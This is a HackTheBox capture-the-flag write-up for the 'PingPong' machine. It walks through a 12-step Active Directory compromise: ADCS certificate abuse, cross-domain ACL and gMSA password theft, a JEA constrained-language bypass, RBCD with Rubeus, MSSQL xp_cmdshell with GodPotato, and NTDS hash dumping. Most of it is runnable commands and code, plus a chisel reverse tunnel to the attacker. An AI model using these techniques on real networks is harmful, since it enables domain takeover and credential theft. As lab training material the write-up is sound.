PingPong - HackTheBox Seasonal S10 Writeup

Published on: 5/2/2026

Summary: This is an Insane-difficulty machine involving a multi-domain Active Directory environment with a bidirectional forest trust. The attack chain spans 12 steps, crossing domain boundaries multiple times and exploiting ADCS misconfigurations, JEA bypass techniques, gMSA abuse, RBCD delegation, MSSQL privilege escalation, and certificate template manipulation.


PingPong - HackTheBox Seasonal S7 Writeup

Overview

Field Detail
Machine PingPong
OS Windows Server 2022
Difficulty Insane
Season S10
IP 10.129.33.38 (changes on respawn)
Domains PING.HTB (DC1, dc1.ping.htb) / PONG.HTB (DC2, dc2.pong.htb @ 192.168.2.2 internal)
Trust Bidirectional forest trust between PING.HTB and PONG.HTB
Hardening NTLM disabled everywhere, RC4 disabled, AES-only Kerberos
Starting Creds c.roberts / AssumedBreach123 (Junior IT Technician, member of IT group)

This is an Insane-difficulty machine involving a multi-domain Active Directory environment with a bidirectional forest trust. The attack chain spans 12 steps, crossing domain boundaries multiple times and exploiting ADCS misconfigurations, JEA bypass techniques, gMSA abuse, RBCD delegation, MSSQL privilege escalation, and certificate template manipulation.


Step 1: Reconnaissance

Nmap Scan

Initial port scan to identify available services on DC1.

nmap -sCV -T4 -p- -oA nmap/pingpong 10.129.33.38

Key open ports discovered:

Port Service
53 DNS
88 Kerberos
135 MSRPC
139 NetBIOS
389 LDAP
445 SMB
464 Kerberos kpasswd
593 RPC over HTTP
636 LDAPS
2179 vmrdp
3268 Global Catalog
3269 Global Catalog SSL
5985 WinRM
9389 AD Web Services

The port profile clearly indicates a Domain Controller.

Domain Enumeration via LDAP

Using the assumed breach credentials to enumerate the domain.

ldapsearch -H ldap://10.129.33.38 -D "c.roberts@ping.htb" -w "AssumedBreach123" -b "DC=ping,DC=htb" "(objectClass=user)" sAMAccountName memberOf description

Key findings:

  • Users: c.roberts (IT group member), various service accounts
  • Groups of interest: IT, TempWinRMAccess, CA Managers
  • Trust relationship: Bidirectional forest trust to PONG.HTB domain
  • TempWinRMAccess group: Has NO direct members but is linked via ADCS ESC13 OID — this is the entry point

The fact that TempWinRMAccess has no direct members but exists as a WinRM access group strongly suggests a certificate-based membership mechanism (ESC13).


Step 2: ESC13 - Certificate to Group Membership

ESC13 is a relatively new ADCS attack where a certificate template's issuance policy OID is linked to an Active Directory group. When a user authenticates with a certificate issued from such a template, the group SID is added to their PAC, effectively granting them group membership.

Enumerate ADCS with Certipy

certipy find -u c.roberts@ping.htb -p AssumedBreach123 -dc-ip 10.129.33.38

This discovered the TemporaryWinRM template with ESC13 vulnerability:

  • Enrollable by: Domain Users (c.roberts qualifies)
  • Issuance Policy OID: Linked to TempWinRMAccess group
  • Effect: Any certificate issued from this template grants TempWinRMAccess membership in the user's PAC

Request Certificate from TemporaryWinRM Template

certipy req -u c.roberts@ping.htb -p AssumedBreach123 -ca ping-DC1-CA -template TemporaryWinRM -dc-ip 10.129.33.38

Output: c.roberts.pfx — a PKCS#12 file containing the certificate and private key.

Authenticate with Certificate (PKINIT)

certipy auth -pfx c.roberts.pfx -dc-ip 10.129.33.38 -domain ping.htb

This performs PKINIT authentication. The KDC issues a TGT with the TempWinRMAccess group SID included in the PAC, granting WinRM access to DC1.

Output: c.roberts.ccache — Kerberos credential cache with the TGT.


Step 3: WinRM Shell on DC1

macOS GSSAPI Limitations

On macOS, the standard WinRM tools (evil-winrm, pywinrm) face GSSAPI IOV (wrap_iov) issues when using Kerberos authentication. The solution is to use pypsrp, which handles Kerberos authentication correctly on macOS.

Connect via pypsrp

from pypsrp.client import Client

# Set KRB5CCNAME to point to the ccache from certipy
import os
os.environ['KRB5CCNAME'] = 'c.roberts.ccache'

client = Client('dc1.ping.htb', auth='kerberos', ssl=False)
output, streams, had_errors = client.execute_ps("whoami /groups")
print(output)

The output confirmed ping\c.roberts with TempWinRMAccess group membership, validating the ESC13 attack worked.


Step 4: Chisel Tunnel to DC2

DC2 (dc2.pong.htb, 192.168.2.2) is on an internal network only reachable from DC1. A tunnel is needed to interact with PONG.HTB services.

Set Up Chisel Server (Attacker Machine)

./chisel_mac server --reverse --port 8888

Upload and Run Chisel Client on DC1

Upload chisel.exe to DC1 via pypsrp file transfer:

client.copy("chisel.exe", "C:\\Users\\c.roberts\\chisel.exe")

Start the chisel client on DC1 to create a reverse SOCKS proxy or direct port forwards:

C:\Users\c.roberts\chisel.exe client <attacker_ip>:8888 R:1080:socks

DC2 (192.168.2.2) is now reachable through the SOCKS proxy on localhost:1080.

Note: macOS chisel reverse SOCKS/port-forward had reliability issues. The more reliable workaround was using pypsrp sessions on DC1 as a KDC proxy, executing commands that reach DC2 through DC1's native network connectivity.


Step 5: gMSA Managers Group Takeover (Cross-Domain)

This is a cross-domain privilege escalation chain. The IT group in PING.HTB OWNS the gMSA Managers group in PONG.HTB, which implies WriteDacl permissions.

Step 5a: Add GenericAll ACE for c.roberts on gMSA Managers

From DC1 as c.roberts, use .NET LDAP classes to connect to DC2 and modify the ACL on gMSA Managers:

# Connect to DC2 LDAP
$ldap = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldap.SessionOptions.Sealing = $true
$ldap.SessionOptions.Signing = $true
$ldap.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldap.Bind()

# Read current nTSecurityDescriptor with SD_FLAGS control (value 4 = DACL only)
$sdFlagsControl = New-Object System.DirectoryServices.Protocols.DirectoryControl("1.2.840.113556.1.4.801", [byte[]](0x30,0x03,0x02,0x01,0x04), $true, $true)

$searchReq = New-Object System.DirectoryServices.Protocols.SearchRequest(
    "CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
    "(objectClass=*)",
    [System.DirectoryServices.Protocols.SearchScope]::Base,
    "nTSecurityDescriptor"
)
$searchReq.Controls.Add($sdFlagsControl)
$result = $ldap.SendRequest($searchReq)

# Parse the existing SD, add GenericAll ACE for c.roberts SID
# S-1-5-21-750635624-2058721901-1932338391-2617
$sd = New-Object System.DirectoryServices.ActiveDirectorySecurity
$sdBytes = $result.Entries[0].Attributes["ntsecuritydescriptor"].GetValues([byte[]])[0]
$sd.SetSecurityDescriptorBinaryForm($sdBytes)

# Create GenericAll ACE
$robertsSid = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-750635624-2058721901-1932338391-2617")
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $robertsSid,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow
)
$sd.AddAccessRule($ace)

# Write back modified SD
$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
    "CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
    [System.DirectoryServices.Protocols.DirectoryAttributeModificationCollection]@(
        New-Object System.DirectoryServices.Protocols.DirectoryAttributeModification -Property @{
            Name = "nTSecurityDescriptor"
            Operation = [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace
        }
    )
)
$modReq.Attributes[0].Add($sd.GetSecurityDescriptorBinaryForm())
$modReq.Controls.Add($sdFlagsControl)
$ldap.SendRequest($modReq)

Step 5b: Change Group Scope (Global → Universal → DomainLocal)

Foreign Security Principals (cross-domain users) can only be members of DomainLocal groups. The gMSA Managers group must be converted from Global to DomainLocal scope. Active Directory does not allow direct Global→DomainLocal conversion, so the path is Global → Universal → DomainLocal.

# Change Global (-2147483646) → Universal (-2147483640)
$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
    "CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
    [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace,
    "groupType",
    "-2147483640"
)
$ldap.SendRequest($modReq)

# Change Universal (-2147483640) → DomainLocal (-2147483644)
$modReq2 = New-Object System.DirectoryServices.Protocols.ModifyRequest(
    "CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
    [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace,
    "groupType",
    "-2147483644"
)
$ldap.SendRequest($modReq2)

Step 5c: Add c.roberts as Member

Add c.roberts (PING domain user) to the gMSA Managers group (PONG domain) using SID format, which automatically creates a ForeignSecurityPrincipal object in PONG.

# Use ADSI DirectoryEntry for member modification
$entry = New-Object System.DirectoryServices.DirectoryEntry(
    "LDAP://dc2.pong.htb/CN=gMSA Managers,CN=Users,DC=pong,DC=htb"
)

# Use <SID=hex> format for cross-domain membership
# SID S-1-5-21-750635624-2058721901-1932338391-2617 in hex
$sidHex = "<SID=0105000000000005150000002855C52C8DF0D47A672A5C73390A0000>"
$entry.Properties["member"].Add($sidHex)
$entry.CommitChanges()

This creates a ForeignSecurityPrincipal object in the PONG domain and adds it to gMSA Managers.


Step 6: gMSA Password Dump

With membership in gMSA Managers, c.roberts can now read the managed password of Pong_gMSA$.

Retrieve msDS-ManagedPassword

A fresh LDAP connection is needed so the new Kerberos ticket includes the gMSA Managers group membership.

# Fresh LDAP connection to DC2 (ticket will include gMSA Managers)
$ldap2 = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldap2.SessionOptions.Sealing = $true
$ldap2.SessionOptions.Signing = $true
$ldap2.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldap2.Bind()

# Query the gMSA account for its managed password
$searchReq = New-Object System.DirectoryServices.Protocols.SearchRequest(
    "DC=pong,DC=htb",
    "(sAMAccountName=Pong_gMSA$)",
    [System.DirectoryServices.Protocols.SearchScope]::Subtree,
    "msDS-ManagedPassword"
)
$result = $ldap2.SendRequest($searchReq)
$blob = $result.Entries[0].Attributes["msds-managedpassword"].GetValues([byte[]])[0]

Parse MSDS-MANAGEDPASSWORD_BLOB

The blob structure has the password at offset 16, length 256 bytes (UTF-16LE encoded).

# Extract password bytes from the blob
$passwordOffset = 16
$passwordLength = 256
$passwordBytes = $blob[$passwordOffset..($passwordOffset + $passwordLength - 1)]

# Compute NT hash (MD4 of UTF-16LE password)
$md4 = [System.Security.Cryptography.MD4]::Create()  # or manual MD4 implementation
$ntHash = $md4.ComputeHash($passwordBytes)
# NT Hash: 4b85a2a049588810c1267e4018b07a07

Compute AES256 Key

The AES256 key is derived using the Kerberos string_to_key function with the appropriate salt.

# Using Python for key derivation
from impacket.krb5.crypto import string_to_key, Enctype

salt = "PONG.HTBhostpong_gmsa.pong.htb"
aes256_key = string_to_key(Enctype.AES256, password_bytes, salt)
# AES256 key: 9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a

Credentials obtained:

  • Account: Pong_gMSA$
  • NT Hash: 4b85a2a049588810c1267e4018b07a07
  • AES256 Key: 9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a

Step 7: JEA Session - PSReadLine History - c.carlssen Credentials

Discover JEA Endpoint

The Pong_gMSA$ service account has access to a JEA (Just Enough Administration) endpoint with ConfigurationName "restricted" (from restricted_e26939b6-...-dfb45427c765.pssc).

Connect to JEA via Invoke-Command

Direct connection as Pong_gMSA$ via pypsrp had cross-domain Kerberos issues. The solution is to use Invoke-Command from DC1 with a PSCredential object.

# Create PSCredential for Pong_gMSA$
$secPwd = ConvertTo-SecureString -String "<gmsa_password_or_use_nt_hash_method>" -AsPlainText -Force
$gmsaCred = New-Object System.Management.Automation.PSCredential("PONG\Pong_gMSA$", $secPwd)

# Connect to JEA restricted endpoint
Invoke-Command -ComputerName dc1.ping.htb -Credential $gmsaCred -ConfigurationName restricted -ScriptBlock {
    # Enumerate available commands
    Get-Command
}

The JEA endpoint runs in RestrictedRemoteServer mode with ConstrainedLanguage Mode (CLM). Only 8 commands are available, and the FileSystem provider is NOT available — Get-ChildItem, Get-Content, etc. do not work.

CLM Bypass: Variable Syntax File Read

The critical discovery: PowerShell's ${C:\path\to\file} variable syntax can read file contents even in Constrained Language Mode without the FileSystem provider. This is because the variable notation is processed by the language parser before provider restrictions apply.

Invoke-Command -ComputerName dc1.ping.htb -Credential $gmsaCred -ConfigurationName restricted -ScriptBlock {
    ${C:\Users\Pong_gMSA$\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt}
}

Credentials Found in PSReadLine History

The history file contained:

$c = New-Object System.Management.Automation.PSCredential("pong\c.carlssen", $(ConvertTo-SecureString -AsPlainText -Force "A()DUJ!@414"))

Credentials obtained: c.carlssen / A()DUJ!@414


Step 8: User Flag

Access DC2 as c.carlssen

$secPwd = ConvertTo-SecureString "A()DUJ!@414" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("pong\c.carlssen", $secPwd)

Invoke-Command -ComputerName dc2.pong.htb -Credential $cred -ScriptBlock {
    type C:\Users\C.Carlssen\Desktop\user.txt
}

User flag: 536621469e40e4d783c1459415d82c52


Step 9: RBCD to MSSQL as C.Adam (sysadmin)

Attack Path Analysis

  • c.carlssen is in IT Service Admins which has GenericWrite on svc_sql (MSSQL service account)
  • svc_sql has SPN: mssqlsvc/dc2.pong.htb
  • C.Adam is in Database Admins group and is sysadmin on the MSSQL instance
  • MachineAccountQuota = 0 — cannot create new computer accounts
  • Solution: Use Pong_gMSA$ (which IS a computer-like account) for RBCD

Step 9a: Configure RBCD on svc_sql

Allow Pong_gMSA$ to delegate to svc_sql via Resource-Based Constrained Delegation:

$gmsaSid = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-<PONG-DOMAIN-SID>-<GMSA-RID>")
$sd = New-Object Security.AccessControl.RawSecurityDescriptor("O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($gmsaSid.Value))")
$sdBytes = New-Object byte[] $sd.BinaryLength
$sd.GetBinaryForm($sdBytes, 0)

Set-ADUser svc_sql -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $sdBytes}

Step 9b: Add SPN to Pong_gMSA$

RBCD requires the delegating account to have an SPN for S4U2Proxy to work. Pong_gMSA$ has NO SPN by default, but it has NT AUTHORITY\SELF WriteProperty rights on its own SPN attribute.

# Use Pong_gMSA$'s own LDAP connection to add SPN to itself
$ldapSelf = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldapSelf.SessionOptions.Sealing = $true
$ldapSelf.SessionOptions.Signing = $true
$ldapSelf.Credential = New-Object Net.NetworkCredential("Pong_gMSA$", $secPwd, "PONG")
$ldapSelf.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldapSelf.Bind()

$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
    "CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb",
    [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Add,
    "servicePrincipalName",
    "cifs/gmsa.pong.htb"
)
$ldapSelf.SendRequest($modReq)

Step 9c: Add Port-Based SPN to svc_sql

The MSSQL SqlClient requires the SPN to include the port number (MSSQLSvc/dc2.pong.htb:1433), but only mssqlsvc/dc2.pong.htb existed.

Set-ADUser svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/dc2.pong.htb:1433"}

Step 9d: S4U with Rubeus

Impacket's getST.py had issues with AES-only environments (etype handling bugs). Rubeus handles this correctly.

Upload Rubeus.exe to DC1 and execute S4U:

Rubeus.exe s4u /user:Pong_gMSA$ /aes256:9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a /impersonateuser:C.Adam /msdsspn:"MSSQLSvc/dc2.pong.htb:1433" /domain:pong.htb /dc:192.168.2.2 /ptt

This performs S4U2Self (get a service ticket for C.Adam to Pong_gMSA$) followed by S4U2Proxy (exchange it for a service ticket for C.Adam to MSSQLSvc/dc2.pong.htb:1433), and injects the resulting ticket into the current session.

Step 9e: MSSQL Connection with Ticket

WinRM sessions cannot use tickets injected via SSPI (the ticket cache is per-logon-session). The solution is to use Rubeus createnetonly to launch a new process with its own logon session, then run the S4U + MSSQL connection within that same process.

Write a combined PowerShell script that does everything in one process:

# combined.ps1 - runs inside createnetonly logon session
# S4U is already done and ticket injected by Rubeus before this script runs

$conn = New-Object System.Data.SqlClient.SqlConnection
$conn.ConnectionString = "Server=dc2.pong.htb,1433;Integrated Security=True;TrustServerCertificate=True"
$conn.Open()

$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT SYSTEM_USER AS [user], IS_SRVROLEMEMBER('sysadmin') AS [sysadmin]"
$reader = $cmd.ExecuteReader()
$reader.Read()
Write-Output "SQL: user=$($reader['user']) sysadmin=$($reader['sysadmin'])"
$reader.Close()
$conn.Close()

Launch via createnetonly:

Rubeus.exe createnetonly /program:"powershell -ep bypass -File C:\Users\c.roberts\combined.ps1" /domain:PONG /username:C.Adam /password:fake /show

Result: SQL: user=pong\C.Adam sysadmin=1 — confirmed sysadmin access on MSSQL.


Step 10: MSSQL to SYSTEM via GodPotato

Enable xp_cmdshell

As sysadmin on MSSQL, enable command execution:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- Output: pong\svc_sql

The svc_sql account has SeImpersonatePrivilege, making it vulnerable to potato attacks.

Write GodPotato.exe via OLE Automation

Since direct file upload through xp_cmdshell may be limited, use MSSQL's OLE Automation to write a binary file:

EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

-- Write GodPotato.exe binary via ADODB.Stream
DECLARE @obj INT;
EXEC sp_OACreate 'ADODB.Stream', @obj OUTPUT;
EXEC sp_OASetProperty @obj, 'Type', 1;  -- adTypeBinary
EXEC sp_OAMethod @obj, 'Open';
EXEC sp_OAMethod @obj, 'Write', NULL, 0x<hex_bytes_of_godpotato>;
EXEC sp_OAMethod @obj, 'SaveToFile', NULL, 'C:\Windows\Temp\GodPotato.exe', 2;
EXEC sp_OAMethod @obj, 'Close';
EXEC sp_OADestroy @obj;

Escalate to SYSTEM

EXEC xp_cmdshell 'C:\Windows\Temp\GodPotato.exe -cmd "whoami"';
-- Output: nt authority\system

Add svc_sql to Domain Admins

EXEC xp_cmdshell 'C:\Windows\Temp\GodPotato.exe -cmd "net group \"Domain Admins\" svc_sql /add /domain"';

Step 11: DCSync PONG Domain

Set svc_sql Password and Access DC2

# Set a known password for svc_sql
$newPwd = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force
Set-ADAccountPassword -Identity svc_sql -NewPassword $newPwd -Reset

WinRM to DC2 as svc_sql (now Domain Admin)

$svcCred = New-Object PSCredential("pong\svc_sql", $newPwd)
Invoke-Command -ComputerName dc2.pong.htb -Credential $svcCred -ScriptBlock {
    ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\ifm" quit quit
}

Download NTDS.dit and Registry Hives

Download the IFM output via pypsrp:

client.fetch("C:\\Windows\\Temp\\ifm\\Active Directory\\ntds.dit", "ntds.dit")
client.fetch("C:\\Windows\\Temp\\ifm\\registry\\SYSTEM", "SYSTEM")
client.fetch("C:\\Windows\\Temp\\ifm\\registry\\SECURITY", "SECURITY")

Extract Hashes with secretsdump

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Key hashes extracted:

Account NT Hash AES256 Key
Administrator@PONG 0b8ebfb6e9972babf9c01311748261a8
R.Martinelli (RID 1124) d60fc26a0569b953a5cebd1392232630 61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98
svc_sql (LSA secret) Password: This!IsAServi@ceA1231ccount

R.Martinelli is a member of CA Managers in PING.HTB — this is the path back to the PING domain for the root flag.


Step 12: ESC4 to ESC1 - Administrator@PING - Root Flag

Attack Path

R.Martinelli (PONG domain) is in the CA Managers group (PING domain), which has WriteDacl on the SmartcardAuthentication certificate template. This enables an ESC4 attack (modifying a template to make it vulnerable to ESC1).

Set R.Martinelli's Password

Using svc_sql's Domain Admin privileges on PONG:

$newPwd = ConvertTo-SecureString "NewP@ssw0rd!" -AsPlainText -Force
Set-ADAccountPassword -Identity R.Martinelli -NewPassword $newPwd -Reset

Step 12a: ESC4 - Modify SmartcardAuthentication Template

Connect to DC1's LDAP as R.Martinelli (who is in CA Managers) and modify the SmartcardAuthentication template to be vulnerable to ESC1:

# Modify template attributes via LDAP
# Target: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb

# Set these attributes:
# msPKI-Certificate-Name-Flag = 1 (ENROLLEE_SUPPLIES_SUBJECT - allows specifying any SAN)
# pKIExtendedKeyUsage = 1.3.6.1.5.5.7.3.2 (Client Authentication)
# msPKI-RA-Signature = 0 (no manager approval required)
# msPKI-Enrollment-Flag = 0 (no additional enrollment requirements)

Also add an Enrollment ACE for Authenticated Users so that c.roberts can enroll:

# Add ObjectAce with GUID 0e10c968-78fb-11d2-90d4-00c04f79dc55 (Certificate-Enrollment)
# for Authenticated Users (S-1-5-11) to the template's nTSecurityDescriptor

Step 12b: ESC1 - Request Certificate as Administrator

With the template now vulnerable to ESC1 (ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU), request a certificate specifying Administrator as the UPN:

certipy req -u c.roberts@ping.htb -k -no-pass \
    -ca ping-DC1-CA \
    -template SmartcardAuthentication \
    -upn Administrator@ping.htb \
    -sid S-1-5-21-750635624-2058721901-1932338391-500 \
    -target dc1.ping.htb \
    -target-ip 10.129.33.38 \
    -dc-ip 10.129.33.38

Output: admin_sid.pfx

The -sid parameter embeds the Administrator's SID in the certificate, ensuring the KDC maps it to the correct account even if UPN matching is ambiguous.

Step 12c: PKINIT Authentication as Administrator

certipy auth -pfx admin_sid.pfx -dc-ip 10.129.33.38 -domain ping.htb

Output:

Step 12d: Root Flag

import os
os.environ['KRB5CCNAME'] = 'administrator.ccache'

from pypsrp.client import Client
client = Client('dc1.ping.htb', auth='kerberos', ssl=False)
output, streams, had_errors = client.execute_ps("type C:\\Users\\Administrator\\Desktop\\root.txt")
print(output)

Root flag: 0553d3a8d1d25576efc44d7f854468c6


Key Techniques & Lessons Learned

1. ESC13: Certificate Issuance Policy OID to Group Membership

A certificate template's issuance policy OID can be linked to an AD group. Authenticating with such a certificate adds the group SID to the user's PAC, granting effective group membership without being a direct member.

2. JEA Constrained Language Mode Bypass

The ${C:\path\to\file} PowerShell variable syntax reads file contents even when the FileSystem provider is unavailable and Constrained Language Mode is active. This bypasses JEA restrictions that prevent standard file access commands.

3. Cross-Domain gMSA Abuse

The chain: Owner relationship → WriteDacl → GenericAll → change group scope (Global → Universal → DomainLocal) → add Foreign Security Principal as member → read msDS-ManagedPassword. The group scope conversion is required because only DomainLocal groups accept cross-domain members.

4. RBCD in AES-Only Environments

Impacket's getST.py has etype handling issues in AES-only (no RC4) environments. Rubeus handles this correctly. Additionally, the createnetonly technique is needed to use S4U tickets within WinRM sessions, as ticket injection via SSPI is per-logon-session.

5. SPN Management for RBCD

The delegating account (Pong_gMSA$) needs at least one SPN for S4U2Proxy. The account's NT AUTHORITY\SELF rights allow it to add SPNs to itself. The target service (svc_sql) also needed a port-based SPN (MSSQLSvc/dc2.pong.htb:1433) for SqlClient compatibility.

6. GodPotato via OLE Automation

When xp_cmdshell file access is limited, MSSQL's sp_OACreate with ADODB.Stream provides an alternative way to write binary files to disk.

7. ESC4 to ESC1 Chain

WriteDacl on a certificate template allows modifying its flags to enable ENROLLEE_SUPPLIES_SUBJECT (specifying arbitrary SANs) and setting the EKU to Client Authentication. Combined with adding an enrollment ACE, this converts any template into an ESC1 vulnerability.

8. macOS-Specific Challenges

  • MTU 1200: Required for VPN stability with HackTheBox
  • GSSAPI IOV: macOS's GSS framework lacks wrap_iov support, breaking standard WinRM Kerberos auth — pypsrp is the workaround
  • Chisel reliability: Reverse tunnel reliability was poor on macOS; using pypsrp as a KDC proxy was more reliable
  • Clock sync: Kerberos requires time sync within 5 minutes — macOS NTP behavior needed attention
Table of Contents